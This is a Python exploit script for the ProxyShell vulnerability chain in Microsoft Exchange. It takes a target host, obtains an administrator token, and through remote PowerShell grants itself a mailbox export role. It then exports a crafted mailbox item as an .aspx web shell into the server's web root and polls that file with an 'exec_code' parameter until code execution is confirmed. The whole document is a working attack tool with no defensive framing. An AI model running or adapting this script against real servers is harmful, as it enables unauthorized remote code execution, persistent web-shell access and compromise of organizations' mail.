#!/usr/bin/env python3
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
host = sys.argv[1]
ps = P.ProxyShell(f'https://{host}', timeout=35)
ps.get_fqdn(); ps.get_legacydn(); ps.get_sid()
ps.sid = ps.sid; ps.set_ews()
ps.sid = ps.admin_sid; ps.get_token()
port = random.randint(20000, 40000); P.start_server(ps, port); time.sleep(1)
def run(s):
    print(">>>", s, flush=True)
    try:
        o, e = P.wsman_shell(s, port)
        for x in o: print("  ", str(x)[:200], flush=True)
        for x in (e or []): print("  E", str(x)[:200], flush=True)
    except Exception as ex:
        print("  EXC", type(ex).__name__, str(ex)[:200], flush=True)
run('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email.split('@')[0])
run('Get-MailboxExportRequest -ResultSize 50 | Remove-MailboxExportRequest -Confirm:$false')
time.sleep(3)
name = "w%s.aspx" % P.rand_string(4)
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
run('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"' % (ps.email, P.subj_, unc))
url = f"https://{host}/aspnet_client/{name}"
print("waiting 40s...", flush=True); time.sleep(40)
for i in range(6):
    try:
        r = requests.get(url, params={'exec_code': 'Response.Write("PWN"+(2+2));'}, verify=False, timeout=20)
        print(i, r.status_code, len(r.content), r.content[:90], flush=True)
        if r.status_code == 200 and b'PWN4' in r.content:
            print("  *** SHELL OK:", url, flush=True); break
    except Exception as ex: print(i, "exc", ex, flush=True)
    time.sleep(5)